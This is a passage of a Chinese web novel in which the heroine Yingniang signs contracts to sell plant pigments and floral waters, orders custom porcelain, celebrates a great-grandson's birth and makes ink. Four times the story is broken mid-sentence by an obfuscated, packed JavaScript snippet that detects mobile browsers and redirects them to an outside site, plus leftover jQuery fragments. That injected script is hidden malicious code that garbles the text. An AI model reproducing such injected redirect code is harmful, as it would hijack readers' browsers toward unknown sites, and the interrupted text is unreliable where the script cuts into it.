瑛娘蹙着眉沉默半晌，期间时不时看向掌柜，似心中有了决定，才道：“掌柜若能帮忙销墨，家中所制颜料尽数交由掌柜代销也未尝不可，只是不知掌柜出价几何？” 书肆颜料一扣一两五钱银，但其中利益如何，无论掌柜、瑛娘都大概算得来数，而瑛娘拿来的颜料质地更好，掌柜属意，算得一扣九钱银。 瑛娘听罢却摇了摇头，“艾草贱价，其色只得九钱银我也无甚可说，但茜草出千红，栀黄也算明媚，蓼蓝花青更是以蓝概青可着青山绿水，且一年到头来，艾绿能出千把扣，茜红、栀黄、花青却只能得三百扣，若如掌柜所言价格，家中长辈是如何也不会同意的。” 当下而言，一钱银足够城中五口之家月余的开销，但生意往来中一钱银却不值当什么，因而，只待瑛娘说过，掌柜便将价格提了一钱。 瑛娘也满意，当即笑着应下，“艾绿不宜多销，若掌柜觉得合适，便定下每年四月下旬出艾绿、茜红、栀黄各三百，十月下旬再出三百花青。” 掌柜不了解植株采用应当何季，闻言有些遗憾，“花青却是十月才能出么？依我所见，这花青应当最得画者喜爱。” “艾绿、蓼蓝若不当季，制得颜料色便不正，不过掌柜也无需烦扰，家中还有昨年所制花青三百数，够得今年销出第一批了。” “甚好！甚好！” 瑛娘也觉得好，取出余下十五只胭脂扣，作礼送与掌柜。 “怎好收你的？” “掌柜自可先与他人试试色。只是昨年所制茜红出了两色，掌柜以为，今年及往后有无必要如此延续？” “若制两色，总数亦是三百么？” “二色可各出三百。” 掌柜沉吟几息，道：“那便两色各三百。小娘子家里该有花青之外四色存货？若有，也请小娘子四月下旬一并送来，届时与香露分签两份契书。” 瑛娘早算过存货，除了三百扣花青，仓里的植属颜料还能分装艾绿一百扣、栀黄一百扣、茜红两色各五十。 可惜去岁存的茜草根却是不够制得各色三百的，需得与掌柜少说存货各半，补足去年的差，待得秋收之后农闲之际，再叫汪文、汪武找了那几个小子去山头多挖些晒干存备来年用。 如此，加上新制艾绿、茜红、栀黄，一笔做成，加上余下待交的八十瓶香露，四月下旬一举能得一千八百四十两银。 再加七月下旬白玉堂一百两、十月下旬桂花一百两、花青三百两，来年便能放开手脚采买原料制墨了。 心头舒畅，离了杂货铺子，瑛娘便一路带着笑找到了坊市街头的脂粉娘子，取出槐花香露与她，“家中允了，但每季香露只能舍出一瓶来，三月出了槐花，七月下旬、十月下旬还有白玉堂和桂花，若娘子用着好，届时我再与娘子送来当季的香露。” 年轻娘子早等得及了，便是小小一瓶需得一两银她也爽快地给了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957127|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢小娘子，待我调出了新的香膏，一定予你一些自用。” “那便先谢过娘子啦！” “何须客气！小娘子也是帮了我大忙了！我夫家姓戴，小娘子往后便唤我戴娘子吧。” 瑛娘笑着叫声了“戴娘子”，与她道出自己名字，“戴娘子亦可唤我瑛娘。” “瑛娘！” 香露事了，瑛娘问得瓷器铺子方位，又一路去往西市寻找。 西市繁盛，多见二层露台小楼，其间往来华服公子、钗簪娘子不知凡几，似瑛娘这般“素”的倒成了异类。 加之她身上带了槐花香，鹅黄新衣也算鲜亮，便是发间无簪钗、身后无随侍，那些公子、娘子也只当她是哪家的调皮小娘子，丝毫未将她往“赤贫农户”上想。 入了瓷器铺子，那掌柜见得瑛娘面嫩也觉如此，笑呵呵迎上来，热情与她招呼，“小娘子想买些什么？” “前头在坊市街头与你家伙计买得的细颈瓷瓶和广口胭脂扣，家中长辈都觉好用，可惜瓷面素白，放在一起都不知用没用混。这不，支使我来问问掌柜，你家的瓷瓶和胭脂扣烧制时可否留些痕迹，方便用时区别。” “自然能留。只是烧瓷不易，一开窑少说也得千把件小物才成，不知小娘子家中需得多少？若是需用得少，劳请留下花样儿和住址，待下次开窑，烧成后自有伙计与你家送去。” 瑛娘默了默数，又问：“开一窑最多能出多少件？需得多长时间？” “若都是那般小物，一窑约摸能出三千来件，少说需得两旬。” 瑛娘点了点头，直接与掌柜报了数，“不知店中有无现货？眼下需得八十件细颈瓷瓶急用，瓷面素白即可，除此之外再订二百，一百留‘玉堂’，一百留‘桂’字。广口胭脂扣也需烧制二千一百件，其中四百留''艾''字，四百‘栀’字、六百‘蓝’字、七百‘茜’字。” “……” 掌柜听得愣怔，半晌后回神来与瑛娘确定，待得瑛娘点头认下，他才一口气呼出来，略持怀疑提醒她，道：“八十件细颈瓷瓶是有现货，但开窑烧来两千多件可不便宜，需得小娘子预先交些银钱作定签契。” “可。” 正好香露卖得二十两来，想来交个定金也该够了。 “只是不知有无让利？” 听得瑛娘愿意签契，掌柜这才信了此单能成，当即乐得与瑛娘便宜，“细颈瓷瓶一件二十六文，广口胭脂扣一件十八文，因着要制瓷面，这价已是压到最低，小娘子以为这价可还适合？” 近来的盈收多以银计，瑛娘懒得去置换铜钱，便道：“那八十件细口瓷瓶给付铜钱，余下定制则按兑税折合银两，合计三十九两，掌柜算算妥否？” 掌柜可做不到默一默便得总计，尬然一笑，取来算盘“噼噼啪啪”一通算，得了相差无几的数，才擦了把额头虚浮的毛汗，热情与瑛娘应下，“妥！妥！小娘子稍待，我取纸笔来与你写契……小娘子是否识字？” “识得一些，也请掌柜借我纸笔，瓷面留字还望掌柜叫匠人照着我写的来做。” “自然！自然！” 30. 玄孙 契书需写明定金、住址，索性那二十两香露钱早晚得拿出来花用，瑛娘便主动将之算作定钱交于掌柜，又如实报上老汪家所在住址。 听得瑛娘是与丰县县城相距二十来里的农户，瓷器铺子掌柜写契的手都顿了顿，险些在契书上留下墨印。 好在二十两银实实在在，八十件细颈瓷瓶的两千多文也作堆摆在柜面上，掌柜及时回神，匆匆几笔写完契书，签上姓名，才推至瑛娘面前叫她来签。 瑛娘写的却非闺房娘子常用的簪花小楷，而是某一世轮转时习得、练过十年的“汉隶”。 掌柜看得惊疑，待得瑛娘写下瓷面所留字样，更是不可抑制地取了来端详。 “小娘子如此年纪，手书却峻抒凌厉，真真儿是叫人服气！” 可惜不是男子。 若生得童子身，凭这一手好字，在科举一途少说也能得一举人名头。 瑛娘见多了类同掌柜这般的憾惋，放下笔，只笑了笑，又抬手点了店中刷了釉色的陶罐，“劳烦掌柜再与我五个陶罐，作价几何？” 这陶罐虽刷了釉色，但体量只如头大，五个算来也只值当四十文钱，掌柜做得这笔大买卖，如何舍得下脸面收这四十来文，当即摆了摆手，只叫瑛娘拿了走。 “那这五个算掌柜送的，再与我五个算我买的。” 掌柜失笑，却不好再与瑛娘掰扯了，“罢了！罢了！十个罐子小娘子可不好拿，不如我遣伙计随你走一趟？” 送货上门，瑛娘自是乐得自在，点出四十文来放进柜面儿上的铜钱堆里，道：“家中有人眼下正在东市档口摆摊营生，掌柜只需叫伙计帮我送至档口，晚些时候自有家中驴车托运回村。” “成。” 陈氏和汪辰忙活着支应面摊子，见瑛娘带着十个陶罐回来也没多管，待得午时末卖完今日带来的东西，才连人带罐一并拉回了家里。 而家里头也都各自忙活着，瑛娘讨了个耳根清闲，松快了两日，才将村邻陆续送来的槐花分五日蒸作香露装瓶。 汪文、汪武这几日也收完了陈艾、烧好了蚌壳为徐氏存备，眼瞅着瑛娘自个儿费力做活，在她身旁很是一阵挝耳挠腮，才讨来了端天锅、添花、加柴的活计。 瑛娘乐得轻省，只管守着花露复蒸、换罐为瓶，待五日做完，才点了五百文来叫两个哥哥分去。 “妹妹，你这花露做来不难，能卖着钱么？咋给我们恁多。” “哥哥安心，这一小瓶便能卖得一两银。” “嚯！” 听得卖价，汪文、汪武自是收得心安理得，接过钱便夸起了瑛娘：“还是妹子贴心！知道与哥哥工钱！” 瑛娘忍不住一笑，又听汪文忧心道：“这挣钱的法子没甚难的，你咋敞着院子就做了？要传了出去，你这钱还挣不挣了？” “便叫人学去，城头也没人给得出高价。” 杂货铺子的掌柜可不是个摆设，且他背后还有东家，只要那东家不傻，她一句话，他们便不会为了这二三百两的生意舍了颜料的大头。 汪文、汪武听得迷糊，没得多想，又听瑛娘发问：“五哥、六哥心头可有成算？也盼着我与你们想个什么营生来做吗？” “……” 两兄弟一时默然。 半晌后，汪武才先憋不住，道：“我跟你五哥先头打算养兔子，可这营生不是叫四姐夫做去了么？总不能再养来与他们抢客吧？” “那五哥六哥以为去商队做学徒有无前途可言？若与四叔四婶说了，他们可会同意你们去做？” 汪文、汪武都是活泼的性子，端是在家坐不住的，听得瑛娘提及商队还有些不信，复又对视一眼，得见彼此目光动然，这才考虑起去商队的可行性。 眼下这家里头算得来瑛娘的“一言堂”了，便是他们娘那般拧巴的人，私下里也常说瑛娘好话，若有瑛娘开口……指不定真能叫他们娘点头，允了他们外出去做学徒！ “妹妹是找着路子了？” “约摸吧。哥哥且在家里待上一年，若我手头正做的生意能成，叫四叔四婶点了头，最迟明年开春你们便能去了。” 汪文、汪武登时高喊一声，吓得二房偏间儿的小林氏一哆嗦，肚子一疼，却是要生了！ “娘！” “奶！” “快去请稳婆！” “烧热水！多烧些备上！” “快快！煮两个糖蛋来！” “呜呜呜……” “好了好了！别怕！留着力气好生！” “糖蛋来了！” 一时间，老汪家乱翻了天，家中十几口人一时再顾不得手头活计。 小林氏这一发作便是一夜，临了天光乍亮，屋里头才传来一阵嘹亮的哭嚎。 林氏守了一夜，自稳婆手里抱来洗好的孙子，掀开褓裙一看，登时乐得连声叫道：“乖孙儿！是奶的乖孙儿！” 老汪家第一个玄孙儿，汪木匠和徐氏也是乐得呲着牙花大笑，开口便叫各房都停了营生，待得洗三大办。 既要大办，洗三之前就得算好开桌的数，东家请来、西家也不能落下，算来算去，竟是算出了二十桌客来。 二十桌席案，照一桌八十文的规格，也需得一千六百文来，若是以前，汪木匠和徐氏想都不想便会拒绝，可眼下家里头也不缺银钱，索性照着规格采买，又去城头请来了喜厨，一举叫亲朋都知道老汪家如今已然传到了第四代。 “……” 瑛娘似懂非懂，不过喜厨手艺确是不错，瑛娘吃饱喝足，也就随这一堆人热闹去了。 然，亲朋相聚，难免会摆闲，这一摆便又说起老汪家大房的“憾事”。 起初汪木匠和徐氏还笑着听，待得有那不长眼的提及“过继”、“休妻重娶”，两老口才沉了脸。 “我家没得那种子孙！做不出休妻的绝情事儿来！” “大喜的日子，莫讨打！” “……好，是我多嘴了。” 徐氏翻脸可是真会动手的，那人认了怂，场面缓了一阵儿才又复起热闹。 热闹归热闹，汪木匠和徐氏心头却没得那般得劲儿了。 终归是前头他们听了歪话，才叫外头传了风言风语。 办过洗三，玄孙儿也以“汪明起”入了族谱，徐氏又趁着进城偷摸打来一对二两重的银镯子，待得家里头各自忙活，才拽了瑛娘进正房，直接将镯子套在了她手上。 “还算适合……” 七世轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960992|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转，瑛娘戴过金、玉，却是第一次戴银，举起手腕对光细看，观其花纹古朴，心头一时情绪难明。 不过，不管这镯子因何而来，老人的情她也承了，笑着抱了抱徐氏，才甜甜道了一声“谢”。 徐氏却是扭捏，掸了掸被抱皱的衣裳睨了她一眼，“谢甚？还不是靠你挣来的银钱？” 瑛娘“嘻嘻”一笑，放下袖子挡住手镯，摊手便叫徐氏拿钱，“那奶借我十九两银，先头我在城头订了些东西，再有十日该有人送来了。” “……什么东西恁贵？！” “奶只管借十九两来，待得交付货物，必定还你五十。” 徐氏“哼”了一声，倒是打开箱笼，掀开层层叠盖的遮挡，取出一包袱来摸了两锭十两的银元宝塞给瑛娘，“拿二十去，别回头再我说一两都舍不得，偏占你便宜！” “奶真大气！” “得了！赶紧忙你的去！” 瑛娘确是该忙活起来了。 汪文、汪武叫来的半大小子近来也是捞够了鱼，因着鱼肉能作营生，他们便想法儿圈了水域来将大小鱼分开圈养，眼下约摸够了数，便叫瑛娘来看着宰杀取鳔，顺便教他们如何清洗才算干净。 瑛娘守了一日，待得他们处理好，上手教了他们做鱼羹、鱼丸，又取了四百文来结清捞鱼、烧蚌的工钱，这才带着干净的鱼鳔回家熬胶。 这批洗好的鱼鳔约摸有个十五六斤，瑛娘一人来做，便是十几日也处理不完，所幸汪文、汪武两兄弟乐得卖力。 瑛娘剪、他们舂，待得鱼鳔成泥，加以少量清水隔水熬煮三个时辰，滤过残渣自出了胶汁。 眼下这时节雨水不丰，瑛娘也不怕胶汁阴干之前先发了霉，镇上几日，趁着胶汁成冻切成小块，又阴了四日，鳔胶便算大成，只待用前以温水浸泡半日，算得十足便利。 十五六斤鱼鳔出胶十斤，折合本钱一斤不过二十来文，瑛娘心头满意，转头又与汪文、汪武一百文辛苦钱。 “妹妹你这手……捏钱是真捏不住啊？” 城头卖一日苦力也才多少？ 这活计于他们兄弟而言属实不算多费力，做得一日能均摊百文，便是来年去了商队，也挣不来这般高的工钱了吧？ “哥哥挣不挣？我这儿还有活儿需得人手。” “……挣！” “田间、山头还有新鲜艾草了，你们帮我割艾，只要嫩尖儿，十斤作一文，拢共需用九百来斤。若忙不过来，也可多叫些人一起割，指不定来年这活儿也得叫别人做去。” “成！今年自有咱哥俩替你操心，你且等着吧！” 等得几日，西市瓷器铺子的掌柜却是亲自拉了车来与瑛娘交付。 “小娘子家倒是宽敞，家里人口不少吧？” “十九张嘴，是挺多。” 掌柜乐得大笑，接过两锭元宝，却是随手找回了一两五钱重的碎银。 “掌柜这是何故？” “便作让利了！好叫小娘子家里头知晓，来年需用它物，也好再叫我开窑。” 这几日抛洒，瑛娘手头也是紧了不少，眼下能省则省，道过谢便算了。 “成了，不耽搁你家忙活。” “掌柜慢走。” 31. 弯酸 三月将过，万事齐备。 为保色度，艾草需得趁鲜取色，瑛娘便先取了艾草来制。 而艾草鲜嫩时，草汁儿可做青团，几百斤艾草需得舂细成蓉，瑛娘支使汪文、汪武两兄弟来做，自个儿先舂了些来煮汁儿和面， 取酱菜、肥肉宰细过油以备作馅儿，再取江米粉、麦粉各半，煮沸的艾草汁儿滤得艾蓉，入面一起和匀，包上咸香肉馅上锅蒸熟，一屉蒸来五十几个，除开还吃不得的小林氏和汪明起，一人将将分得三个。 滤过的艾草汁儿自然也不浪费，染过四月要用的布块，瑛娘又从徐氏手头缠来半匹棉绢染了裁衣，叫徐氏好一顿弯酸[注1]。 瑛娘没往心头去，“嘻嘻”笑过，扭头便投入艾草取色的工序中去。 舂好煮过的艾草汁儿晾凉后加石灰水调色，因着色可调，瑛娘便只调了深绿，待艾草汁儿搅出绒絮，镇上一夜便能分出艾草浆。 艾草浆分盆晾晒，前后五日即可干透，干透的色块以乳钵研细，筛出杂质，这一批艾绿颜料便算成了。 制成的颜料分装也算麻烦，瑛娘拿了广口胭脂扣和戥子，直接将活儿支给汪文、汪武去做。 “待下旬交付，再给你们工钱。” “成！” 艾绿制成，瑛娘又着手处理栀子。 栀子舂细不易，瑛娘便用踏碓舂过再用石磨研磨，几百斤干栀子花了几日全磨细入缸存备，分得几批来煎煮。 沸水沏过，搅匀浸泡二三刻，再以细布滤汁儿，反复几次，所得橙红汁液尽数整合入锅熬煮。 栀子自带了果胶，期间熬煮自然也是离不得人的，熬至汁液粘稠，架锅隔屉蒸干，晾晒三日，复又舂细过筛，忙过之后，正好汪文、汪武两兄弟又能继续戥量分装。 此二色成，自得抓紧时间熬煮茜草根。 熬好的茜色汁水整合入盆，加少量豆萁染过的草木灰水调至纯红，再加白矾搅匀，分装两盆。 一盆加白善土、一盆加石灰水，调出红、粉二色，静置一夜，滤去上层浮液，烘干沉淀，晾晒三五日即可研磨成粉，过筛分装。 这一批做来，四月已至尾根儿，四色分装完还有余量，瑛娘便估摸着加了些鳔胶调制成色条，好叫杂货铺子的掌柜献于东家，无论自用亦或送人皆可。 可惜花青存量不多，余下的却是不够制得色条了，还待十月交付时再单做了送去。 “妹妹，明儿个要叫我们帮你送吗？” “不用，我还坐三叔三婶的驴车去。” 汪文、汪武知悉颜料数目，瑛娘还得将仓里藏的一并送去交付，可不好叫他们察觉了。 听得不用进城，两兄弟也是些微遗憾，不过四月一过，汪木匠和四个儿子便要忙着给田地追肥、灌水，汪文、汪武不好叫他们受累，手头活计一松，便也倾心投入了农活。 瑛娘蹭了驴车进城，就在城门头叫了两个脚夫帮忙背货。 八十瓶香露并一千八百扣颜料装了满满两背篓，送至东市杂货铺子只需得十文钱。 汪辰倒是想帮瑛娘省了这十文，陈氏却不乐意，挑眉弄眼一通催，汪辰也只得放弃。 “妹，那你自个儿小心些。” “三哥安心。” 两个脚夫都是卖苦力的农户，见背篓里都是瓷器，一路走得甚是小心。 临了门前，瑛娘取了十文钱分与二人，心头盘算着稍后还得买两个漂亮的钱袋子，也免得每每进城都得提前往袖中塞铜板，取用才觉不方便。 “小娘子可算来了！” “掌柜先点货？” “成！” 瑛娘将油纸包好的四色色条取出，由着掌柜支使伙计清点数目。 见广口胭脂扣的瓷面上留了字，其色对应分装，掌柜只觉满意非常，再看瑛娘眸色更是柔和。 “小娘子自个儿来的？” 莫不是忘了有契书要签？ “掌柜安心，这契书我也能签得。” 掌柜这才面露讶然，观得瑛娘今日又换了草色绢衣，心头难免对瑛娘家中背景挂了几分好奇。 转念想来，这家儿既然有那会制墨、取彩的匠人，家里头如何也是供得来读书人的，只是一个十来岁的小娘子养得能说会道，又能识字提笔，着实叫人有些意外。 不过这与掌柜而言不过一闲来谈资，心头惊奇过，便略过此事取来了拟好的契书。 “鄙人章文德，代东家签契，小娘子既能表家中长辈之意，这契书便也签下你的名姓。契成之后，你我二人、官府户所各执一份，若有纠纷，自有官府裁断。” 契书其一，写明双方协定每年四月供给艾绿、栀黄、茜红、茜粉各三百扣，十月供给花青三百扣。 契书其二，四月供给槐花香露、七月供给白玉堂香露、十月供给桂花香露，三者各九十九瓶。 若期间双方以为数目该有增减，再拟价协商，补签说明。 瑛娘仔细看过契书内容，提笔签下姓名，复又盖上红泥指印，待得与掌柜同去官府户所加了官印，这契才算完全。 章文德看过瑛娘笔迹，方知瓷面留字竟是瑛娘自个儿写的，再比对自个儿，却是连其三分笔力都不及，不禁摇头感慨：“汪娘子果真只有十来岁么？” 瑛娘也默了默，突然意识到再过几日就是“汪瑛”十二岁生辰。 这日子与她本身的八字相近，但她轮转七世，几乎忘记了她本身确切的出生日，以“汪瑛”诞辰计算也是无碍，便点了点头，如实道出年纪。 章文德连叹几声，忽而又提起东家的公子，“虽不知汪娘子读书如何，但这一手好字，怕是我家公子见了都得叹服。” 时下读书人自小练字者多如牛毛，瑛娘自知写得一手好字，听得章文德夸赞却也未尽当真，抿唇含笑作羞怯，又叫章文德夸了两句，才开口催他去官府户所加印。 “汪娘子稍候，今日的货银还需与你先结了，拢共一千八百四十两银，汪娘子是要现银还是官交子？” “还请与我现银。” “成。” 一千八百两取一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969105|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、五十的元宝，单个儿的四十两，瑛娘却叫章文德换成了一两的碎银。 章文德自是听从，将银钱尽数放进箱笼，加了锁遮掩后放入背篓，待得加印之后再由瑛娘叫人来取走。 两人一路入了官服户所，章文德给了一两银锭插队，不出半个时辰便等来了加印的契书。 “户所已然存案，若有意外需得毁契，尽量双方商定之后再来户所取回撕毁。” “好，多谢差爷。” 契成了，章文德也高兴，当即要请瑛娘去茶铺吃点心。 瑛娘却惦记着逛东市，拒了章文德，才又拿了四色色条与他，“这色条与墨锭用法相同，掌柜自可拿去耍着。” 章文德当即拆开油纸一观，忍不住又是一声叹，转而问道：“与我用却是浪费了，若汪娘子不介意，这彩墨可否允我送与东家公子？” “自然。” 章文德喜不自胜，自货架取来四个精巧小匣，垫上绸布才将色条复裹放入，“今日确是占了汪娘子便宜。日后汪娘子也无需再与我客套，只管叫一声章叔，往后若有用得着我章文德的地方，尽可来找我帮忙。” 瑛娘从善如流：“章叔往后亦可唤我瑛娘。” 章文德自是大笑应下：“好！” 瑛娘叫来两个脚夫帮着背背篓，行至距离隐蔽处不远之地便叫他们放下，待得周围少人，瑛娘才借着遮挡将两个背篓整个儿收进了仓里。 索性无人看得见，瑛娘又背人而立，将仓铺展开来，将装了银钱的箱笼开了锁放在货架之上，整合此前所得盈收分利和结余，只留了瓷器铺子掌柜找回的一两五钱银并三十枚铜板随身放好，才往布行去。 布行也行代销之事，铺子里少不得各种材质的帕子、香囊、钱袋，瑛娘挑了两个钱袋，将好需得三十文钱。 其一放入碎银，孤零儿一枚也听不着响。 可惜一路逛来也没个什么想买，正好行至银楼，干脆进去拿了碎银换得一枚一两三钱重的银锁。 “小娘子，丰裕的二钱银正好能作工钱，你看可否？” “可。” 小小的银锁很是精致，花个二钱银也不值当什么。 瑛娘把玩着银锁，扭头又见银楼展柜中一对金镯花样、做工都不错，问过价来，一对净重四两，却是需得五十两银才换得来。 “无利可让么？” 东市银楼的掌柜平日也是难得一见如此大主顾，自然乐得做面儿将买卖做成，连声道“有”。 这掌柜也是个人精，估摸着瑛娘家中是有添丁喜，转身自展柜取了一对合计一两重的银制小儿腕钏来与瑛娘看，“小娘子瞧瞧可还喜欢？体量不重，最适合赠予幼子佩戴。” “成，劳掌柜将金镯入匣装好，我去一刻，稍后便来与掌柜换。” 掌柜自是应允。 瑛娘出了门也未走远，就近寻一隐蔽处取得一锭五十两的元宝揣进袖中，又绕了路，估摸着时候重返，换来两个装点好的匣子。 “承惠，还望小娘子下回再来光顾。” 32. 墨条 入城一日，瑛娘归家算得满载。 然家中老小只见满背篓进城、空背篓回，也没人摸得准瑛娘究竟赚了多少，徐氏自也心急着盼知晓，丢下活计拽得瑛娘入正房，还不待问，就被瑛娘拿出的一锭银元宝震住。 “奶不要么？” 徐氏倒吸了一口凉气，接过元宝双手捧着掂了掂，瞠目结舌，半晌才不确定道：“这是五十两吧？” 瑛娘笑着点头认下，“先头说了借二十还五十，该是没骗奶吧？” “没骗！没骗！看来咱家瑛娘这回是挣着大钱了！”徐氏忍不住笑，舍不得放，捧着又觉手酸，半晌才呲着牙花翻开箱笼，将元宝藏进了最深处，“奶还是第一次摸着恁大的元宝！你也是，恁重的东西咋还放在袖子里？也不嫌沉得慌？” 瑛娘也没否认，只待徐氏兴奋过，才与她道：“奶有事交代么？若没别的事儿，我得去二嫂屋里坐坐。” 徐氏也没问详细，惦记着瑛娘手松，生怕她往别处花了许多，连忙拉了她问：“给你侄子买了东西？” 这事儿也不至于藏着掖着，瑛娘索性将装了银锁和小儿腕钏的匣子取来与徐氏看，“拢共二两多，不值当什么。” 如是以前，徐氏指定说瑛娘浪费钱，不过先有元宝比对，近来又攒了一批茶枯皂待卖，徐氏心头松快，自然只睨了瑛娘一眼便将她放走。 小林氏得了匣子也是惊得一震。 哺乳小儿的妇人最是敏感，见瑛娘小心翼翼将银锁和小儿腕钏与汪明起戴上，登时落下泪来，咬着唇无声哭了半晌，才红着脸与瑛娘承诺，道：“待你生辰，嫂嫂给你烧兔子吃。” 瑛娘没料到小林氏还记得“汪瑛”生辰日，微怔后笑着宽慰了两句，只叫小林氏好生休息。 老汪家也是厚道非常了，因着不缺劳力，小林氏这回坐月子足足坐了四十来天，期间吃□□细，元气早恢复了多半。 “没事，烧个兔子累不着。” “行，那我等着了。” 小侄子都送了几两银，汪文、汪武那处就不好亏待了，瑛娘随手拿了六枚碎银叫他们分，待得吃过晚食，才有空将金镯匣子送与云氏。 云氏哄了玥娘睡着，接过匣子也未当回事，问过瑛娘今日可曾遇到麻烦，得知她结交了章文德，签成了契书才算心定。 “娘，不打开看看么？” 云氏自然知晓瑛娘送了二房侄孙儿银饰，待得开了匣子，被金光晃了眼睛，半晌才回神来盯着瑛娘无法言语。 瑛娘自是取出金镯与她戴上，捧着云氏双手抬起好叫她看，“娘觉得好看么？” “……自是好看的。” 云氏心口梗得慌，半晌才道：“娘这般年纪，何苦给娘买这等金贵首饰，攒着钱，将来也好……” 也好什么？ 云氏说不出来。 她这一生从未亏欠过谁，但于瑛娘而言，她这个娘确是做得不够好的。 没故意亏着，却也着实算不得善待。 大女儿琼娘得她心疼最久，二女儿瑾娘则叫她说了娘家的远亲，小女儿更是长到六七岁还得她哄着才肯睡。 唯独瑛娘，吃不饱、穿不好，亏得这半年来自个儿想了法子才养出了水色。 可瑛娘就要十二岁了，便是她打现在开始心疼，又能再疼个几年呢？ 更何况……瑛娘如今主意正，当真还如从前一般盼着她来心疼吗？ 瑛娘见云氏眼含愧色，倒没觉得心头难受，搂着云氏亲昵了片刻，才压低了声儿与她笑说：“娘且安心，我存得多着呢。” 仓里元宝还有一千七百两整，这笔钱得攒着以备之后采买原料，便继续收在章文德送的箱笼里。 余下三十四两碎银、四千枚铜板，瑛娘取了四两并七百文钱装进新买的钱袋子，以便随时取用，其他的都放进了钱盒子，待得哪日需用再取。 云氏就怕瑛娘捏不住钱，但说多了也不好，只得笑过，催着瑛娘赶紧睡。 自三月来，瑛娘很是忙碌，眼下松快了，入睡自然极快。 待得闲散几日，便至生辰。 瑛娘闲来无事，晨间便睡了个懒觉，出了偏间儿才知小林氏昨儿个叫汪会上山打了两只野兔来，今晨一早便忙活着将兔子杀好，以盐、酱调出腌料浸泡备好。 腌入味的兔子腥香非常，小林氏也没将兔子宰细，临了午后直接取了结实的木棍将兔子整个儿串起来，在院儿里搭了柴堆架上炙烤。 如此烧熟的兔子肉质紧实，撕下一条脯肉都能嚼得喷香且不柴。 瑛娘得了一整个后腿，吃得满嘴流油，忍不住与小林氏说笑，道：“嫂嫂如此手艺，便是去城头也卖得出价。” 小林氏得了实惠，与瑛娘也亲近了许多，被她笑也只嗔了她一眼，只叫她多吃些，便抱着汪明起去吃家里单给她炖的白汤。 林氏也没把玩笑当真，记起瑛娘二月里说帮忙抄书，待得瑛娘吃饱喝足，才拉着她说起了汪连。 “瑛娘，你二叔前头给小老九找着开蒙的老师傅了，说是随时能备礼拜师，你看什么时候得空给小老九帮帮忙？开蒙可少不得书用。” 徐氏没与林氏提瑛娘在书肆说过“自家会制墨”的话，林氏自然以为公中出钱买的笔墨都在瑛娘手头。 前头忙着，瑛娘确是忽略了汪连开蒙的事儿，眼下被提醒难免有些心虚，笑了笑，连声宽慰林氏，“二婶莫急，这几日我便动手去做。” 小儿所用墨锭选材无需太好，田间地头挖来的灯心草烧成炭，研磨过筛，加鳔胶胶水、冰片调和，反复捶打至其融合完美，戥子量重定型之后阴干即可成。 但阴干需得两月，冰片瑛娘也忘了提前备上，只得叫汪辰隔日帮着带些冰片回来，又叫家里帮着去挖些灯心草来洗净备上，正好借着制墨，待第一批晾上，再取仓里存货先帮汪连把书抄了。 知道这事儿关乎汪连读书，陈氏最是积极，不消瑛娘多说便趁着日落微光挖来了许多。 捶打墨团的活儿自然也无需瑛娘出力，汪点德和汪会父子俩轮番捶了一日，瑛娘验过能成，便叫了停。 十来条墨锭，若是花钱去买，少不得十五两，眼下只需付了冰片的本钱，自是不消瑛娘开口，陈氏自个儿就拿了二十个铜板与汪辰。 有了墨，抄书便也提上了日程。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14973980|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 《三字经》和《百家姓》并不算难，村正家还留着原先用来开蒙的旧本，汪木匠厚着脸借来，瑛娘读过几遍也就默了下来。 最初学字时，瑛娘日日更多是仓错彷徨，但，待她学得大部分常用字后，读得更多书、识得更多道理，才叫她一日比一日安心。 书中有丘壑，读之能见山水。 瑛娘受困于“规则”，读书学习之余难免需要接触一些莫名其妙的人或事。 但她从未觉得七世轮转有何不好，便是起初苦于身边那些人做事并非个个儿都带着脑子，后头结交了志趣相投的朋友，学着抄书静心，那些人便再也左右不了她的心绪。 人有参差，总得留有一丝余地才好。 